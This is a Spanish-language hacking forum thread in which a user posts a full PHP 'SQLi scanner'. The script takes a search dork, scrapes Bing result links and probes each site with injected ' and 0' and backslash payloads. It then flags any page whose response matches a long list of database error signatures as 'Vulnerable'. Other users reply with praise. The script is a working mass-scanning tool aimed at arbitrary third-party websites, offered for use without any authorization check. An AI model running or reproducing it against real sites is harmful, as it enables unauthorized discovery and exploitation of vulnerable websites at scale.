SQLi Scanner by arthusu

Iniciado por arthusu, Abril 08, 2013, 06:41:31 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Abril 08, 2013, 06:41:31 AM Ultima modificación: Abril 10, 2013, 04:44:13 AM por arthusu
Antes quiero comentarles que no soy muy bueno programando pero hago lo que puedo,bueno he creado este script mas que nada por que me artaba de darle clic a las webs (necesidad xD) y como google te bloqueaba a cierto punto entonces utilice bing, aunque de todas maneras para este tipo de escaneo necesitas un buen servidor con ancho de banda jeje para que lo soporte dependiendo de las peticiones, igual puedes modificar el script y mejorarlo, espero que a mas de uno le ayude....

Aca les dejo unas imagenes....







para usar es tan facil como agregar el dork y las paginas en paginas serian las paginacion de bing.... 1,2,3,4, etc... recomiendo que lo dejen por defecto en 5 ;)

ahora tienen dos opciones de escaneo, cuando seleccionas el checkbox hace una comparacion de paginas (agradesco a Alguien por pasarme este tip :D) y lo que hace es un vector and 0 que seria para blind... aunque pueden modificar a su gusto :P

y el otro detecta errores pueden agregar mas si lo desean.... o quitar si lo desean...

denle permisos a la carpeta para que se les agregue una lista de dorks si gustan sino comenten esas dos lineas...

pueden seleccionar el checkbox pero como hace una comparacion aveces da falso positivos si es una pagina dinamica por ejemplo que cambia su contenido como un slider... o diferentes cosas daria falsos positivos tambien .... o redirecciones, etc....

Aca esta el codigo sin ofuscar xD :P

Código: php

<title>Buscador SQLi</title>
<style>
body{
background-color: black;
color:white;
text-align: center;
text-decoration: none;
}
.text:hover{
text-shadow: 1px 1px 5px #fff;
}
img:hover{
opacity:0.6;
}
a{
text-decoration: none;
color:red;
}
a:hover{
text-decoration: underline;
}
</style>
<!-- Buscador SQLi basica usando bing by arthusu -->
<a href="buscador_sqli.php"><img src="http://i.imgur.com/jKXhnme.png" alt="logo" /></a><br />
<?php
/*
+------------------------------------------------+
|   Buscador SQLi basica usando BING by arthusu  |
+------------------------------------------------+
*/
//sin limite de tiempo para ejecutar el script, puedes indicar segun gustes :P
set_time_limit(0);
//esta funcion lo que hace es conectar a la url que le indiquemos como parametro
function conectar_url($url){
//inicia curl y lo guarda en ch
$ch=curl_init();
//le damos una opciones como la url
curl_setopt($ch, CURLOPT_URL, $url);
//le damos una opcion de que nos devuelva la pagina sea verdadero
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
//de que siga la redireccion como verdadero
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
//de establecer un navegador en la cabecera user agent
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0");
//aqui en esta variable se guarda la pagina
$pagina=curl_exec($ch);
curl_close($ch);
//devolvemos la pagina :D
return $pagina;
}
//si existe enviar
if(isset($_POST['enviar'])){
// y si no estan vacios los campos
if(!empty($_POST['dork']) && !empty($_POST['paginas'])){
//almacenamos nuestras variables
$dork=htmlentities($_POST['dork'],ENT_QUOTES);
$paginas=$_POST['paginas'];
$paginas=htmlentities($paginas,ENT_QUOTES);
//abro un archivo y guardo los logs de los dorks que insertan :D, para poder realizar esto necesitas tener permisos de escritura en la carpeta
$archivo=fopen('dorks.txt','a');
fwrite($archivo, "Dork insertado: ".$dork."\n");
fclose($archivo);
//conformamos la url
$bing_url="http://www.bing.com/search?q=".$dork."&first=comienza";
//i vale 1 mientras i sea menor o igual a paginas i va ir en aumento de 1 en 1
//en caso de que el servidor no soporte demasiadas peticiones puedes modificar o limitar el numero de paginas :P
$i=1;
while($i<=$paginas){
//si se encuentra "comienza" en la url entonces lo reemplazamos por el valor de i
$url_bing=str_replace('comienza', $i, $bing_url);
//echo $url_bing ."<br />";
//almacenamos en una variable lo que nos retorna la busqueda
$conectado=conectar_url($url_bing);
//si no se encuentran resultados entonces que lo muestre
if(preg_match("/No se encontraron resultados para/i", $conectado)){
echo "No se encontro ningun resultado";
}else{
//nos conectamos a la url para que podamos verificar los enlaces
$conectado2=conectar_url($url_bing);
//print_r($enlaces);
//verificamos si se encuentran enlaces
if(preg_match_all('/<h3><a href="(.*?)"/', $conectado2,$enlaces)){
//tenemos e que es 0 si 0 es menor a todos los enlaces entonces vamos recorriendolos
if(!empty($_POST['checked'])){
   for($e=0; $e<count($enlaces); $e++){
    //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
    $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
    $reemplazo=str_replace('"', "", $reemplazo);
    //$reemplazo=$enlaces[0][$e];
    //reemplazamos en =cualquiercosa por =" de manera para verificar el error
      //$vuln=$reemplazo."'";
      $vuln=$reemplazo;
      $vuln2=$reemplazo." and 0";
      //$vuln=str_replace("=","=order by 2" , $reemplazo);
      //conectamos a la url modificada
      $conectado3=conectar_url($vuln);
      $conectado4=conectar_url($vuln2);
      if($conectado3!=$conectado4){
      echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
      }else{
      echo "<br />No Vulnerable:".htmlentities($reemplazo)."<br />";
      }
     
    }
    }else{
    for($e=0; $e<count($enlaces); $e++){
    //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
    $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
    $reemplazo=str_replace('"', "", $reemplazo);
    //reemplazamos en =cualquiercosa por =" de manera para verificar el error
      //$vuln=$reemplazo."'";
      $vuln2=$reemplazo."\\";
      //$vuln=str_replace("=","=order by 2" , $reemplazo);
      //conectamos a la url modificada
      $conectado4=conectar_url($vuln2);

      //si coincide con cualquiera de estos errores decimos que es vulnerable sino pues no se le pueden ir agregando mas errores...
      if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|Microsoft JET Database Engine error|SQL query failed|MDB2 Error|Server Error|SQL command|403 Forbidden|Warning: mysql_query|Warning: mysql_fetch_row|Warning: mysql_fetch_assoc|Warning: mysql_fetch_object|Warning: mysql_numrows|Warning: mysql_num_rows|Warning: mysql_fetch_array|Warning: pg_connect|Supplied argument is not a valid PostgreSQL result|PostgreSQL query failed: ERROR: parser: parse error|MySQL Error|MySQL ODBC|MySQL Driver|supplied argument is not a valid MySQL result resource|on MySQL result index|Oracle ODBC|Oracle Error|Oracle Driver|Oracle DB2|Microsoft JET Database Engine error|ADODB\.Command|ADODB\.Field error|Microsoft Access Driver|Microsoft VBScript runtime error|Microsoft VBScript compilation error|Microsoft OLE DB Provider for SQL Server error|OLE\/DB provider returned message|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|Oracle Error|Oracle Driver|Oracle DB2|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|ODBC Driver|ODBC Error|ODBC Microsoft Access|ODBC Oracle|JDBC SQL|JDBC Oracle|JDBC MySQL|JDBC error|JDBC Driver|Invision Power Board Database Error|DB2 ODBC|DB2 error|DB2 Driver|error in your SQL syntax|unexpected end of SQL command|invalid query|SQL command not properly ended|Error converting data type varchar to numeric|An illegal character has been found in the statement|Active Server Pages error|ASP\.NET_SessionId|ASP\.NET is configured to show verbose error messages|A syntax error has occurred|ORA-01756|Error Executing Database Query|Unclosed quotation mark|BOF or EOF|GetArray|FetchRow|Input string was not in a correct format|Warning: include|Warning: require_once|function\.include|Disallowed Parent Path|function\.require|Warning: main|Warning: session_start|Warning: getimagesize|Warning: mysql_result|Warning: pg_exec|Warning: array_merge|Warning: preg_match|Incorrect syntax near|ORA-00921: unexpected end of SQL command|Warning: ociexecute|Warning: ocifetchstatement|error ORA-/i", $conectado4)){
      echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
      }else{
      echo "No vulnerable: ".htmlentities($reemplazo)."<br />";
      }
    }
    }
    }else{
    //si no se encontraron url entonces decimos que no coinciden con el formato
    echo "No coincide con el formato<br />";
    }

}
//borramos la variable url_bing para que se cree de nuevo arriba con un nuevo valor
unset($url_bing);
//aumentamos i a uno para que siga recorriendo las urls
++$i;
}
}else{
//si estan vacios los campos entonces muestra que debe llenarlos y tambien muestra el formulario de nuevo
echo "Debes llenar los campos <br /><br />";
?>
<!-- Aqui tenemos nuestro formulario -->
<center>
<table border="0" width="500">
<form action="" method="post">
<tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
<tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
<tr><td><input name="checked" type="checkbox"></td></tr>
<tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
<tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
<tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
</form>
<table>
</center>
<?php
}
}else{
//sino existe enviar muestra un mensaje y muestra el formulario de nuevo
echo '
<center>
<table border="0" width="500">
<form action="" method="post">
<tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
<tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
<tr><td><input name="checked" type="checkbox"></td></tr>
<tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
<tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
<tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
</form>
<table>
</center>
';
}
/*
La nota mas importante es que le podemos ir agregando errores mientras vayas encontrando...
Este programa puede llegar a lanzar falsos positivos....
*/
?>


salu2
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy buena arthusu! Cada ves mejor lo tuyo, y por lo que veo también has estado practicando con photoshop :)
Saludos,, Cronos.-


buena bro yo tambien hice uno en perl,python,ruby,java y proximamente en delphi 2010